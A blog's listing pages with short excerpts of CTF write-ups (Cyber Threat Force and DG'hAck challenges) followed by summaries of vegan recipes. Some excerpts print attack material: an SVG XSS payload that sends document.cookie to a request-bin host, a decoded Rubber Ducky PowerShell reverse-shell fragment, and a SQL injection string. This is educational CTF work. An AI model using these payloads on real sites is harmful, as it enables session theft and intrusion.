Cyber Threat Force (CTF)

This was a short CTF (48h), a format that I like since it doesn’t eat up too much of my time. I enjoyed it with my friends: Lukho, R0ck3t and Volker. We registered a team on CTFTime: Root Root. We ranked 4th out of 197 teams, scoring 6935 points. And I personnaly ranked 6th, scoring 3775 points and completing 19 challenges! Here are the challenges that I completed or spent time on, with links to my writeups:
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Writeup Cyber Threat Force : Azkaban C2

For this challenge, we were given a python script: import socket def menu(): print("______________________") print("| MENU |") print("| 1) see option |") print("| 2) edit option |") print("| 3) connect |") print("______________________") print(""" ______ __ __ ______ / \ / | / | / \ /$$$$$$ | ________ $$ | __ ______ $$ |____ ______ _______ _______ /$$$$$$ | $$ |__$$ |/ |$$ | / | / \ $$ \ / \ / \ / |$$____$$ | $$ $$ |$$$$$$$$/ $$ |_/$$/ $$$$$$ |$$$$$$$ | $$$$$$ |$$$$$$$ | /$$$$$$$/ / $$/ $$$$$$$$ | / $$/ $$ $$< / $$ |$$ | $$ | / $$ |$$ | $$ | $$ | /$$$$$$/ $$ | $$ | /$$$$/__ $$$$$$ \ /$$$$$$$ |$$ |__$$ |/$$$$$$$ |$$ | $$ | $$ \_____ $$ |_____ $$ | $$ |/$$ |$$ | $$ |$$ $$ |$$ $$/ $$ $$ |$$ | $$ | $$ |$$ | $$/ $$/ $$$$$$$$/ $$/ $$/ $$$$$$$/ $$$$$$$/ $$$$$$$/ $$/ $$/ $$$$$$$/ $$$$$$$$/ -----=[Azkaban C2 v.
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Writeup Cyber Threat Force : Like a duck in water

Note: I did not solve this challenge during the CTF, but my teammate Lukho did. For this challenge, we were given an inject.bin file, which contains an encoded Rubber Ducky payload. We can use the Duck Toolkit to get back the original code: DELAY DELAY powershell Start-Process notepad -Verb runAsENTER DELAY DELAY ENTER DELAY mDELAY DOWNARROW ... DOWNARROW ENTER $folderDateTime = (get-date).ToString('d-M-y HHmmss')ENTER ... Add-Content "$env:TEMP\72794.ps1" '$c = New-Object System.Net.Sockets.TCPClient("CYBERTF{D0N4LD_DUC|<}",443);$s = $c.
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Writeup Cyber Threat Force : Usb key cemetery

Note: I did not solve this challenge during the CTF, but my teammate Volker did. For this challenge, we were given a zip containing an encoded syslog (sysloc.enc), and an auth.json file: { "manufact": [ "Apple Inc.", "Azurewave", "Generic", "Linux 5.10.0-kali8-amd64 xhci-hcd", "usbrip-4381" ], "pid": [ "0002", "0003", "0129", "0608", "12a8", "3491", "56dd", "usbrip-4381" ], "prod": [ "USB2.0 HD UVC WebCam", "USB2.0 Hub", "USB2.0-CRW", "iPhone", "usbrip-4381", "xHCI Host Controller" ], "serial": [ "0000:03:00.
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Writeup Cyber Threat Force : Trojan tools

For this challenge, we were given a TROJAN_TOOLS.exe file. Before manually analyzing it, I tried feeding it to hybrid analysis. Here is the link to the full report. The “Interesting strings” section contained the flag: CYBERTF{Y0u_H4s_P3wn_Th3_H4ck_T0ol}. We can also try to solve the challenge in a more conventional way. Executing the application gives us: C:\Users\IEUser\Desktop>original.exe Please enter the good PIN Using a process monitor We can use procmon from the Sysinternals suite to monitor the process.
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Writeup Cyber Threat Force : Viking crypt

For this challenge, we were given a ransomware (VIKING_CRYPT.exe and VIKING_DECRYPT.exe) along with a LOCKER.HTML file and IMPORTANT_NOTE.txt.vkg. Let’s take a look at that encrypted note: $ file Perso/IMPORTANT_NOTE.txt.vkg Perso/IMPORTANT_NOTE.txt.vkg: ASCII text, with no line terminators $ cat Perso/IMPORTANT_NOTE.txt.vkg 8a9b600b5a745d39cb7c7e7890e816848a9fe77280b42ca0751d150bb849 It doesn’t really look like any encryption I know. We can try to run VIKING_DECRYPT.exe: As expected, we’re asked for a decryption key. Let’s encrypt a few files in a VM, and compare the plaintext and the .
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Writeup Cyber Threat Force : (Un)Efficient encryption

For this challenge, we were given two pcapng files, comm1.pcapng and comm2.pcapng, and a text file. The text file contains this: Bonjour Agent-CTF, Nous avons recemment interceptés un message, chiffré grace a un algorithme inconnu. Nous avons mis en relation ce message a un message anterieur, contenant une discussion suspecte entre deux membres de l’APT. Votre mission sera de dechiffrer les communications. Bonne chance Q.G. We can use tshark to view the raw data of the network captures:
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Writeup Cyber Threat Force : The document is strange

For this challenge, we were given a CV.doc document. Opening it reveals a pretty normal looking resume template, and a warning about macros from LibreOffice.

Using the macros menu, we can dump their code:

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Writeup Cyber Threat Force : Strange service

For this challenge, we were given access to a service. The description told us that it was an encryption oracle, which used AES to encrypt what we sent it, concatenated with critical data. I’m writting this after the challenge ended, so I can’t include demos. The description should make us think about byte-at-a-time ECB decryption attacks, which are well explained here: Cryptopals - Byte-a-time ECB decryption (Simple) Why is Byte-at-a-time ECB decryption a vulnerability?
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Writeup Cyber Threat Force : Strange administration service

For this challenge, we were given access to a server which we can connect to: $ nc 144.217.73.235 27099 give me cmd|token example: ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140 id|69a4061766769d0a19ab59e6f905f7ac5875691b62765cb6b3b5ee6ae08f776a ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140 chall.py wrapper $ nc 144.217.73.235 27099 give me cmd|token example: ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140 id|69a4061766769d0a19ab59e6f905f7ac5875691b62765cb6b3b5ee6ae08f776a whoami|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140 Bad Token It executes the command we give it, given that we know the corresponding hash. The challenge description told us that the hash format is HASH(SECRET || CMD). This should instantly make us think of hash key length extension attacks.
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Writeup Cyber Threat Force : Smasher

For this challenge, we were given two files: smasher-1.0.0.AppImage smasher_Setup_1.0.0.exe I only looked at the AppImage one, since I’m running linux. Launching the program reveals an electron app: We can simply use the dev tools to reveal the source code. Only one javascript file is there, login.js: function Login() { var i = { _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", encode: function(r) { var t, e, o, a, n, c, h = "", d = 0; for (r = i.
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Writeup Cyber Threat Force : Verify this

For this challenge, we were given a Stagged.exe executable. Before running it on our machine, we can try to run it against hybrid analysis, an online malware analysis service. Here is the link to the full report. We can see in the “Network Analysis” tab that the program made two requests: Trying to download the first image gives us a PE file. If we upload it again, we see that it also makes a request to /ordertoexecute.
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Writeup Cyber Threat Force : Welcome to the matrix

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Writeup Cyber Threat Force : Flag checker

For this challenge, we were given a program executable. $ ./program ./program FLAG $ ./program MYFLAG failed Seems like it valides the flag that is passed as an argument. Let’s open the binary in Ghidra. There are a lot of functions defined, and looking at the exports we see that quite a lot of them start with caml_. I didn’t know you could compile OCaml to C, that’s pretty neat.
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Writeup Cyber Threat Force : Take your time

For this challenge, we were given a TakeYourTime executable, which seems to hang when we run it. We can analyze its code using ghidra: unsigned int FLAG[] = { 0xb5, 0x63, 0x98, 0x3d, 0xb5, 0x06, 0x46, 0xba, 0x0f, 0xd5, 0x47, 0xce, 0x97, 0xef, 0x7b, 0x28, 0xdb, 0xe7, 0x39, 0x10, 0xb0, 0xf5, 0x44, 0xec, 0x30, 0x88, 0x46, 0xf6, 0x88, }; undefined8 main(void) { byte bVar1; int iVar2; uint local_28; int local_24; ulong local_20; local_28 = 0; local_20 = 0x32; while (local_20 < 0x4f) { bVar1 = fibonacci(); local_28 = local_28 >> 8 | (local_28 ^ bVar1) << 0x18; local_20 = local_20 + 1; } srand(local_28); local_24 = 0; while (local_24 < 0x1d) { bVar1 = FLAG[local_24]; iVar2 = rand(); putchar((uint)bVar1 ^ iVar2 % 0xff); local_24 = local_24 + 1; } puts("\nGood you can validate the chall with this password ;)!
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Writeup Cyber Threat Force : Return to the school

This challenge involved solving an ASCII maze in under 10 seconds. I can’t include a demo because I’m writing this after the CTF ended. My script uses the astar package, because I was too lazy to re-implement A* manually. It isn’t particularly pretty, but at least it is functionnal. Here it is: import math from pwn import * from astar import AStar def parse_maze(source): source = source.strip() source = source.split('\n') source = source[:-1] # Remove last line (dots) source = [list(l[1:-1]) for l in source] # Remove left and right dots return source # Mostly copied from the astar package example.
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Writeup Cyber Threat Force : PrivEsc

For this challenge, we were given SSH access to a machine, as the user ctf. After running sudo -l, we quickly find that we can run the /opt/Ivazov binary as ctf_cracked. The user in question has a flag.txt file in their home, which only they can read. We also notice env_keep += LD_PRELOAD. From there, we can try an LD_PRELOAD exploit. The steps taken here are copied from the guide was was just linked.
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Writeup Cyber Threat Force : bof_3

For this challenge, we also were given a service executable. It was hosted remotely. NOTE: since I’m writting this after the CTF ended, the demos are done locally. $ checksec ./service [*] '/home/vivescere/ctf/bof_3/service' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) $ ./service password: mypassword nop NX enabled, and partial RELRO. Let’s take a look at the binary using Ghidra: undefined4 main(void) { ignorMe(&stack0x00000004); puts("password: "); vuln(); puts("nop"); return 0; } void vuln(void) { undefined local_70 [104]; read(0,local_70,0x96); return; } We have an overflow, but not much else going on.
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Writeup Cyber Threat Force : bof_2 (with PrivEsc)

For this challenge, we were also given a service executable. It was also hosted remotely. NOTE: since I’m writting this after the CTF ended, the demos are done locally. Level 1 $ checksec service [*] '/home/vivescere/ctf/bof_2/service' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments $ ./service Hello authentifie toi ! Username: vivescere Bienvenue vivescere password: mypassword oops i have lost my db sorry This time, the only protection that’s activated is PIE, which means addresses won’t be stable.
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Writeup Cyber Threat Force : bof_1 (with GetShell & PrivEsc)

For this challenge, we were given a service executable. It was also hosted remotely. NOTE: since I’m writting this after the CTF ended, the demos are done locally. Level 1 $ checksec service [*] '/home/vivescere/ctf/bof_1/service' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) $ ./service hello who are you? vivescere Hello vivescere We do have NX enabled, along with canaries and partial RELRO. Also, the executable is statically linked, meaning we won’t have access to the libc easily.
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DG’hAck: My Second CTF

I joined this CTF because there was a possiblity to get an internship (or a job). I think I did pretty well, ranking 1/1214 among the students, and 5 overall out of 2063 :) This was a whole lot of fun, I got to learn a ton of things, lose some sleep, and make new friends. I can’t wait for my next CTF! Here are the challenges that I completed, with links to my writeups:
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Writeup DG’hAck: Involucrypt 2

This is the second version of the involucrypt challenge. You can see my writeup of the first version here. It presents the encryption script and a simple bruteforce approach. The only thing that changed for the second version is the encrypted data, which is now 1497 bytes long. This makes the previous bruteforce attempt unusable: checking a single key takes about 50ms on my machine, and there are a lot of possible keys (since it’s 10 chars instead of 3).
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Writeup DG’hAck: Job Board

This challenge starts with a website that presents a list of jobs (once connected). Our goal is to login as an administrator. Here is the landing page: Right of the bat, we see a login link, and a contact link. The contact page seems interesting, and after toying around with some XSS payloads, we quickly find that a bot clicks on any link that is passed as a message. Clicking the login button prompts us for a username and password; the test/test combination works.
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Writeup DG’hAck: Time for Something Different

This is a steganography challenge where we’re given a PCAP file. Opening it in wireshark reveals a list of identical ICMP packets. Nothing seems to be unique, except the time of each packet, that we can extract using tshark: $ tshark -r data.pcap -T fields -e frame.time_epoch 1604485685.271523000 1604485685.974534000 1604485686.737381000 1604485687.390550000 1604485688.103364000 1604485689.336651000 1604485690.500205000 1604485690.982931000 1604485691.465408000 1604485692.617796000 1604485693.701056000 1604485694.814156000 1604485695.686772000 1604485696.799993000 1604485697.943153000 1604485699.106441000 1604485699.589015000 1604485700.071611000 1604485700.754520000 1604485701.266580000 1604485702.449633000 1604485702.942506000 1604485704.054744000 1604485705.
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Writeup DG’hAck: StickItUp

When starting this challenge, we’re greeted by two forms, a login one and a registration one. Registering for an account allows us to login, which brings us to this dashboard: We’re asked to find a note created by the admin user. I started by trying a few SQLi on the login page (they didn’t work), and noticed this in the source code: <!-- $_COOKIES['auth'] = 'testuser:' . sha1(SECRET_KEY . 'testuser'); --> So the auth cookie format is username:hash, where the hash is a SHA1 of a secret plus the username.
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Writeup DG’hAck: Bwing

For this challenge, we’re given a dump.raw file, which we’re told is a memory dump. We have to find confidential data in it. First, let’s see what kind of image this is: $ volatility -f dump.raw imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : No suggestion (Instantiated with no profile) AS Layer1 : FileAddressSpace (/home/vivescere/Projects/dghack/bwing/dump.raw) PAE type : No PAE None of the default profiles seem to work, we’ll have to create our own.
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Writeup DG’hAck: Sad Crypto

This challenge starts with a login page: From the description, we gather that this is a service that generates decryption keys when given a French SSN. Our goal is to get the key for this number: 1-46-85-30-750-318-37. admin/admin doesn’t seem to work, let’s try an SQLi! Entering " or 1=1 -- as the username reveals a second page: We seem to be able to enter a patient name (that we have to auto-complete), and get a decryption key: 797b4c-c4bd852fe0e32ebda194cb2a9fe00099.
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Writeup DG’hAck: Shadowmallet

This challenge starts with a file called shadowmallet. We’re asked to help an administrator whose server detected an abnormal activity. The file command doesn’t give us anything: $ file shadowmallet shadowmallet: data But searching for the first few bytes (53ff 00f0 53ff 00f0 53ff 00f0 53ff 00f0) of the file online quickly reveals it’s a memory dump. Let’s use volatility! $ volatility -f shadowmallet imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.
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Writeup DG’hAck: Gitbad

This challenge takes place on a Gitlab instance, where we have to find private data. You start by creating an account, which is automatically validated after a few seconds. Once logged in, you can do a few things, for example: create a project create a group edit your profile see the help page see public repositories Nothing seems to be particularly interesting, except for this message, on the help page:
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Writeup DG’hAck: Involucrypt 1

This writeup uses a naive approach, see my writeup of involucrypt 2 for a better solution. The challenge starts off with two files: crypt.py involucrypt1 The first one is a script that can encode a message, the second one contains crypted data. Here is the (slightly redacted) script: import itertools import operator import sys BLOCK = 150 class mersenne_rng(object): ... def keystream(seeds, length, base=None): key = base if base else [] for seed in seeds: random = mersenne_rng(seed) for _ in range(BLOCK): if len(key) == length: break key.
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Writeup DG’hAck: Walters Blog

The challenge starts with a minecraft blog: None of the pages look vulnerable. The URLs themselves don’t have any parameters, it’s just some static html (eg: /contact.html). The contact form doesn’t work: when posting something we get a 404. On that same 404 page, we can notice the apache version: Apache Tomcat/9.0.0.M1 Searching for that version on google tells us that this particular version is vulnerable to a RCE. The exploit is available on exploit database.
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Writeup DG’hAck: Server Room

This challenge starts with a file, found_in_server_room.img.gz. Let’s first try to find what this file is: $ gunzip found_in_server_room.img.gz $ file found_in_server_room.img found_in_server_room.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x40,0,1), end-CHS (0x3ff,3,32), startsector 8192, 524288 sectors; partition 2 : ID=0x83, start-CHS (0x3ff,3,32), end-CHS (0x3ff,3,32), startsector 532480, 3072000 sectors So this is a disk image. Let’s try mounting it! $ mkdir mnt $ sudo mount found_in_server_room.img mnt NTFS signature is missing.
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Writeup DG’hAck: Up Credit

The challenge URL redirects us to an online bank. The summary tells us that we have to buy the flag for 200€! Let’s start by registering for an account. After entering our name and email, we get an account ID and a password: After logging in, we are presented with an interface that has three tabs: an activity log a money transfer form a form to contact our financial advisor Trying an XSS in the contact form quickly reveals that the bot doesn’t execute any javascript, but does click any link that is posted.
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Writeup DG’hAck: Internal Support 2

This is the second version of the ticketing system presented in the CTF. We are greeted with the exact same interface. So let’s try exactly the same payload: <svg onload="document.body.innerHTML=document.body.innerHTML.concat('<img src=\'https://enx8b5ofkwzw.x.pipedream.net/'.concat(btoa(document.cookie)).concat('\' />'))" /> After a few seconds, we manage to steal a cookie! However, we can’t use it, as the session is ip-locked: Hmm. The challenge is quite similar to the last one, so we know that the flag is probably on the home page.
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Writeup DG’hAck: Internal Support 1

The challenge presents itself as a ticketing system. After registering for an account, we are greeted with this page : Trying a classic xss (<script>alert(1)</script>) in the message field seems to work. We know that we have to login as an admin user, so let’s try stealing the cookies : <svg onload="document.body.innerHTML=document.body.innerHTML.concat('<img src=\'https://eni7j9jobszxl.x.pipedream.net/'.concat(btoa(document.cookie)).concat('\' />'))" /> After a few seconds, we get a request on our request bin, which when decoded gives us the admin cookie :
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Madeleines

Recipe Source: Madeleines sans oeufs, sans lait {vegan} - Perle en sucre This took about 10 minutes (before waiting) and 40min (after waiting, using a 9x mold). It’s enough for 18 smallish madeleines, and is really easy to make. Ingredients 150g flour 100g sugar 4g baking powder 2 pinches of salt 110ml plant milk 70ml peanut oil 1 vanilla bean or a teaspoon of vanilla powder A few drops of bitter almond aroma And if you want to wrap the bottom of the madeleines with a chocolate shell, count one square of chocolate per madeleine.
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Chocolate Salted Caramel Tart

Recipe Source: 5 INGREDIENT CHOCOLATE SALTED CARAMEL TART | THE BEST VEGAN DESSERT This took about 2 hours to make. It’s enough for a lot of people, and is easy to make. Ingredients 250g cashew nuts 450g dates 120g + 6 tablespoons coconut oil 150g peanut butter (smooth if possible, mine wasn’t as smooth as in the original recipe), or almond butter 300g chocolate 6-10 tablespoons water Steps Blend the cashews in a mixer/food processor until it becomes as thin as flour.
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Vegetable Dumplings

Recipe Source: Vegetable Dumplings (Vegan Gyoza / Potstickers) - Bianca Zapatka This took about 2 hours to make. It’s enough for 4 people, and is easy to make, except for the original shape which I didn’t replicate. I’m not writing the recipe here, as I’m publishing this page more than a month after baking this. Results I’d give those a 4/5. They’re really good, but long to make for what you get, just like the ravioli I made yesterday; also the original shape, which is way better looking, is really hard to replicate.
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Ravioli

Recipe Source: Homemade Vegan Ravioli with Pesto Cashew Cheese Filling | Sensible Plate This took more than 2 hours to make. It’s enough for 4-5 people, and is easy to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results I’d give those a 4.25/5. They’re good, but long to make for what you get. I’d love to try different fillings though!
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Avocado Tofu Pepper Sandwich

Recipe Source: Baked Tofu Sandwich with Roasted Red Pepper - From the comfort of my bowl This took about 45min to make. It’s enough for 4 people, and is really easy to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results This is a perfectly fine sandwich, and as such I’ll give it a 4.5/5. The catch is that it’ll only be as good as the bread you use.
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Lemon Pasta

Recipe Source: Unknown (can’t find the link anymore) This took about 45min to make. It’s enough for 4-5 people, and is really easy to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results I’m not too sure about this one. The taste of lemon felt weird, like something was missing. I didn’t hate it, but didn’t really enjoy it either.
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Lemon Pie

Recipe Source: TARTE AU CITRON MERINGUÉE | VEGAN - Lloyd Lang This took about 2 hours to make. It’s enough for more than 5 people, and is easy to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results One of the best desserts I’ve done so far, I’d give it a 4.75/5. I love the effect of the lemon’s sourness on the taste.
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Margherita Pizza

Recipe Source: PIZZA MARGHERITA VEGAN | Recette Pâte & Fromage Filant - Lloyd Lang This took about an hour to make. It’s enough for more than 5 people (for a slice each), and is easy to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results This wasn’t too bad - I think I’m getting pretty okay at baking pizzas!
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Chocolate Macaroons

Recipe Source: Macarons au chocolat Vegan à base d’aquafaba - Déliacious This took about an hour and a half to make. It’s enough for 4+ people, and is really hard to make (at least, to make them look good). I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results I didn’t expect it to be that hard to get beautiful macaroons.
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Workout Smoothie

Recipe Source: 3 Post-Workout Smoothies - simply quinoa This took about 10 minutes to make. It’s enough for 4 people, and is really easy to make (you just have to blend the ingredients). I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results After my first time trying this recipe, I took some liberties with the ingredients, adding what I had in the fridge with pretty good results.
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Meringue

Recipe Source: VEGAN MERINGUE RECIPE - The Happy Pear This took about 30 minutes to make (plus 2-3 hours for baking). It’s enough for more than 5 people, but is kind of hard to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results Those are easy to mess up. For example, I almost made a plate of sticky meringues by cooking them for only 2 hours.
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Vegan Burger

Recipe Source: WHOLE FOOD VEGAN BURGER | NUT FREE, NO TVP & NO BEANS - The Happy Pear This took about 2 hours to make. It’s enough for 4 people, and is easy to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results Those were really good, with the “steaks” being the best part of the burgers. I was surprised by how well they stayed together, I didn’t have any issues with this.
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Vegan Mozarella

Recipe Source: Vegan Mozzarella | Vegan Cheese - The Happy Pear This took about 30 minutes to prepare, plus a little bit of time for each toast. It’s enough for 5+ people, depending on how many toasts each person eats, and is really easy to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results Those were delicious, I ate too many toasts and didn’t even regret it.
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Vegan Carbonara

Recipe Source: EPIC VEGAN CARBONARA in 5 MINUTES! | THE HAPPY PEAR - The Happy Pear This took about 45min to make. It’s enough for 4-5 people, and is easy to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results While the result isn’t the most beautiful thing to look at, it’s definitely tasty. I particularly liked the shiitake mushrooms, which have a distinct taste.
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Carrot Cake

Recipe Source: 5 INGREDIENT CARROT CAKE | VEGAN LOCK DOWN DESSERT - The Happy Pear This took more than 4 hours to make because I only had one mold. It’s enough for more than 5 people, and is not too hard to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results This is really good, I baked it for a birthday and (I think) everyone loved it.
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Ramen

Recipe Source: EASY VEGAN RAMEN | THE HAPPY PEAR #OILFREE - The Happy Pear This took more than an hour to make. It’s enough for 4 people, and is easy to make. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results Those are absolutely delicious. Altough I’ve not tried a lot of ramens in my life, I could tell this was not bad at all.
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Basil Pesto Noodle

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Itxassou Cake

Recipe Source: La france végétalienne, p. 246. This took about 2 hours to make. It’s enough for more than 5 people, and is relatively easy to make - I just struggled a bit to add the top layer. I’m not writing the recipe here, as I’m creating this page more than a month after baking this. Results The cake is really good, but the jam is a bit too much; it makes the taste a little too sugary.
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Chocolate Spread

Recipe Source: Cuisine végane p. 19 - Ed. naumann & göbel verlagsgesellschaft mbh This took about half an hour to make. It’s enough to fill a relatively large jar (see the pictures), and is really easy to make. Ingredients 50g of raw cane sugar 50g of roasted unsalted peanuts 85g of hazelnut powder 1/2 teaspoon of vanilla bean powder A pinch of salt 85g of sesame oil 3 tablespoons of cocoa powder 200ml of water Steps In a small saucepan, add the sugar and water together.
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Bread

Recipe Source: Pain sans Pétrissage | Sain & 100% Végétal - Lloyd Lang This took about 10 minutes to make (a little less than 2 hours if you count the baking time plus the waiting time). It’s really easy to make. Ingredients 375g of flour 300ml of lukewarm water 12g of baker’s yeast (a sachet will work just fine - it’s what I used) Optional: salt, nuts, or anything you want in your bread.
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Cookies V2

Recipe Source: COOKIES AMERICAINS | VEGAN - La petite Okara This took about 45min to make. It’s enough for 10 cookies, and is easy to make. Ingredients 2 tablespoons of blond sugar 120g of whole sugar 50g of soy yogurt 120g of neutral oil 220g of flour (in France: T80) 1 teaspoon of baking powder 1/2 teaspoon of vanilla powder A pinch of salt 120g of chocolate - we used chocolate chips alongside chocolate chunks, so use what is available to you Steps Preheat your oven to 160°C.
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Burritos

Recipe Source: Black beans burritos | The Buddhist Chef This took about 45min to make. It’s enough for 6 tortillas, and is easy to make. Ingredients 540ml canned black beans 1 teaspoon cumin 1 teaspoon oregano 1 teaspoon garlic powder 1/4 teaspoon cayenne pepper 1/2 teaspoon salt 2 teaspoons agave nectar 125ml of water 125g brown rice Corn (2 teaspoons per tortilla) Avocados (count around an avocado and a half for 6 burritos) Salsa Tortillas Vegetable broth Steps Start cooking your rice, adding the vegetal broth, following the instructions on the pack.
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Apple Pie

Recipe Source : Vegan Apple Pie - Tasty This took about 3 hours and a half to make (I was really slow). It’s enough for at least 5 people, and isn’t easy, but isn’t hard to make. Ingredients 310g all-purpose flour (and a little bit extra if the dough gets sticky) 400g + 1 tablespoon + 1 teaspoon organic sugar 1 + 1/2 teaspoon salt 225g vegan butter (cubed and chilled) 6 tablespoons of ice water 7 apples (I only used 5) 1 lemon, zested (I didn’t put this in) 1/2 lemon, juiced (I used a tablesppon of lemon juice) 5 tablespoons cornstarch 1 tablespoon coconut oil + 1 teaspoon 4 teaspoons cinnamon Steps In a large bowl, combine the flour, sugar (a tablespoon) and salt (a teaspoon).
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Vegan Omelet

Recipe Source : La france végétalienne p.40 - Ed. L’Âge d’Homme This took about one hour to make. It’s enough for 4 people, and is easy to make. Ingredients 250g mushrooms (paris mushroom if possible) 50g chickpea flour 200g silken tofu 2 tablespoons of cornstarch 10cl water A half teaspoon of turmeric 2 tablespoons of olive oil Vegetal oil (for cooking) Salt Pepper The herbs you like (we used chive) Steps Clean the mushrooms, and make them sweat in an oiled pan for 5 minutes.
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Gnocchis

Recipe Source : GNOCCHI VEGAN | Sain & Facile - Lloyd Lang This took 2 hours and a half to prepare - altough I was slow at the beginning. It’s enough for 5 people. Ingredients 1kg of potatoes 350g flour Steps Cook the potatoes using a steam cooker. Mash them in a large bowl, until you can’t find little potato chunks. Don’t mix for too long - It’ll make the gnocchis too elastic.
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Energy Bars

Recipe Source : Homemade Energy Bars - So Vegan This took about 1h20 to prepare and bake, and produces around 10 energy bars (9 on the pictures, plus an extra one). It’s really easy to make. Ingredients 85g oats 85g pumpkin seeds 150g almonds 80g raw buckwheat groats 70g raisins 70g dried cranberries 170g soft dried apricots 4 tablespoons of maple syrup 4 tablespoons of water Steps Preheat the oven to 180°c, and prepare a large (the original said 18x18cm) square tin with greaseproof paper.
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Banana Bread

Recipe Source : The perfect {vegan} banana bread - Valentina | The Baking Fairy This took about an hour to prepare and bake, and is not too hard to make. Ingredients 4 medium ripe bananas 60ml vegetable oil 60ml unsweetened nondairy milk 125g light brown sugar 2 teaspoons pure vanilla extract 260g unbleached all-purpose flour (in France : T80 flour) 1 teaspoon cinnamon 1 teaspoon baking soda 1/2 teaspoon salt A sliced banana, for topping Steps Preheat the oven at 175°C.
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Pizza

Recipe Sources : EASY VEGAN PIZZA FROM SCRATCH - The Happy Pear Recettes vegan inratables - Les petits inratables. Ed. Larousse The second source is for the dough, which we used instead of the one proposed in the video because it used ingredients not readily available in France. This took about 1 hour and a half to make. It’s enough for 5 people, and is relatively easy to make - the dough is the hardest part.
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Pesto

Recipe Sources : Pesto Rosso - Cuisine Actuelle Spaghetti au pesto de basilic frais, 100% végétalien ou classique - La Fée Stéphanie See the pizza recipes these were used on. Pesto Rosso This took about 15min to make. It’s enough for at least 5 people, and is really easy to make. Ingredients 100g (oil) dried tomatoes 25g pine nut A (small) clove of garlic Around 15 basil leaves (of all sizes) 7cl olive oil Pepper A teaspoon of tomato coulis Steps Carefully mix the tomatoes, tomato coulis, basil, garlic (peeled and minced), olive oil and pine nut in a blender.
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Crispy Baked Tofu Cubes

Recipe Source : HOW TO COOK TOFU | Crispy baked tofu recipe - Clean & Delicious This took about an hour and a half to make. It’s enough for 5 people, and is easy to make. Ingredients White rice Broccolis A big block of Tofu 1 tablespoon tamari 1 tablespoon avocado oil 1/4 teaspoon salt 1/4 teaspoon pepper 1/2 teaspoon garlic powder 1 tablespoon corn starch 2 tablespoons teriyaki sauce Sriracha sauce (to taste) Sesame seeds Steps Preheat your oven to 200°C.
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Cookies

Recipe Source : PERFECT Vegan Chocolate Chip Cookie Recipe - Pincha Pink Salt This took about an half-hour to make, and is really easy. Use the new recipe instead, it’s way better. Ingredients 260g flour 1/2 teaspoon baking soda 1/4 teaspoon baking powder 1/2 teaspoon salt - the original recipe used 1 teaspoon of pink salt, but regular salt worked just fine 275g brown sugar 120ml oil 1 teaspoon vanilla 6 tablespoons plant milk Chocolate chips - we used 70% cocoa dark chocolate chopped in small pieces Steps Preheat oven at 175°C.
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Creamy Mushroom Pasta

Recipe Source : CREAMY MUSHROOM PASTA | OIL FREE & VEGAN - The Happy Pear This took about 35min to make (I’m not good at cleaning mushrooms). It’s enough for 5 people, and is easy to make. Ingredients Two small red onions (we only used half of a large onion) 2 cloves of garlic A bit of vegetable stock 250g mushroom 3 tablespoons of tamari or soy sauce 250g of pasta (preferably wholemeal) 100g of cashew (preferably toasted cashews) 500ml of plant milk (no sugar milk) The juice of a half lemon or lime A teaspoon of salt A teaspoon of garlic powder Oregano or the herbs you prefer A red chili or anything you want (we didn’t put any) Steps Clean the mushrooms.
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